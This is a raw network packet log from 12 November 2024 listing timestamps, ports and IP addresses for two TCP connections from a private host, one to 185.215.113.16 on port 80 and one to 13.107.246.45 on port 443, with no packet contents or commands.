Nov 12, 2024 15:42:16.961637020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.961649895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.961662054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.961662054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.961662054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.961692095 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.961723089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.963782072 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.966449976 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:16.966460943 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.966999054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.967058897 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.967066050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.967080116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.967089891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:16.967144012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.967144012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:16.977374077 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:16.979372025 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.020503998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.020518064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.020586967 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.023328066 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.032273054 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.034677029 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.034686089 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.076597929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076621056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076636076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076646090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076667070 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.076682091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.076683044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076719999 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.076729059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076746941 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076760054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.076798916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.076806068 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.082268953 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.082304955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.082317114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.082335949 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.082366943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.095638990 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.099029064 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.099037886 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.106080055 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.109616995 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.135446072 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.135458946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.135519028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.135590076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.135603905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.135656118 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.155332088 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.162128925 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.164896965 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.164906979 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.191858053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191878080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191900015 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191910982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191920042 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191930056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191936016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.191939116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191950083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191961050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.191982985 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.192003012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.197509050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.197549105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.197563887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.197587967 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.197612047 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.225291014 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.228291035 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.228302956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.250530958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.250597000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.250602007 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.250641108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.251147032 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.253781080 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.294464111 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.297240973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.307301998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307327032 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307343006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307401896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.307430983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307440996 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.307445049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307495117 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.307554007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307574034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307589054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.307650089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.307650089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.313360929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.313380957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.313395023 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.313477993 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.313477993 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.339335918 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.365988970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.366004944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.366022110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.366189003 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.366189003 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.422508955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.422525883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.422540903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.422581911 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.422601938 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.422763109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.422779083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.422822952 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.422981024 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.422993898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.423046112 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.428592920 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.428618908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.428627014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.428760052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.428760052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.481199980 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.481218100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.481230021 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.481261969 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.481290102 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.537597895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.537633896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.537704945 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.537704945 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.565798998 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.569145918 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.569156885 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.630537033 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.633408070 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.633418083 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.685054064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685081959 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685092926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685102940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685115099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685125113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685133934 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685136080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685136080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685177088 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685209990 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685219049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685229063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685244083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685255051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685262918 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685262918 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685265064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685278893 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685290098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685302973 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685316086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685317039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685317039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685338974 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685338974 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685419083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685472012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.685496092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.685547113 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.690502882 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.693089962 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.693100929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.768647909 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.768661976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.768671036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.768682003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.768692017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.768738031 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.768780947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.768781900 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.768831968 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.774498940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.774538040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.774549007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.774630070 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.774630070 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.800209045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.800223112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.800296068 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.827334881 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.830117941 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.830132008 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.866981983 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.869698048 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.883447886 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883492947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883506060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883532047 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.883553028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.883565903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883577108 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883622885 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.883897066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883950949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.883955002 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.884011030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.889586926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.889628887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.889655113 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.889674902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.911329031 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.915450096 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.915467024 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.915477037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.915518045 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.915538073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.949372053 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.952444077 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:17.952450991 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:17.999794006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999818087 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999829054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999841928 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.999871016 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999875069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.999882936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999892950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999902010 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.999907970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999918938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:17.999926090 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:17.999948978 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.005201101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.005228996 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.005240917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.005264044 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.030658007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.030675888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.030688047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.030719995 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.030760050 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.034414053 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.037471056 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.037482023 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.057221889 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.059685946 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.107327938 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.129158974 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.129199028 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129213095 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129225969 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129249096 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.129275084 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129276037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.129280090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129283905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129297018 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129311085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129321098 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.129323006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.129338026 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.129364014 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.132543087 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.132567883 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.145972967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.145984888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.146040916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.146040916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.169687986 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.172568083 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.200333118 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.202888012 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.243331909 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.262103081 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.264444113 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.264462948 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.300270081 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.302869081 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.329174995 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.339705944 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.344769955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344861031 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344867945 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.344875097 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344907045 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.344922066 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.344938993 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344953060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344964027 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344976902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.344980001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344990969 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.344995975 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345002890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345012903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345015049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345025063 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345036983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345047951 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345060110 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345071077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345093012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345123053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345160961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345187902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345197916 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.345221043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.345237017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.350626945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.350656986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.350677967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.350687981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.350707054 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.350718975 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.376286983 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.376313925 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.376401901 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.387329102 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.405020952 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.407661915 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.407672882 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.429917097 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:18.432202101 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:18.460592985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.460628986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.460639954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.460652113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.460745096 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.460788012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.465976000 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.466053963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.466058969 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.466067076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.466095924 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.466113091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:18.466186047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:18.466224909 CET	49794	80	192.168.2.4	185.215.113.16
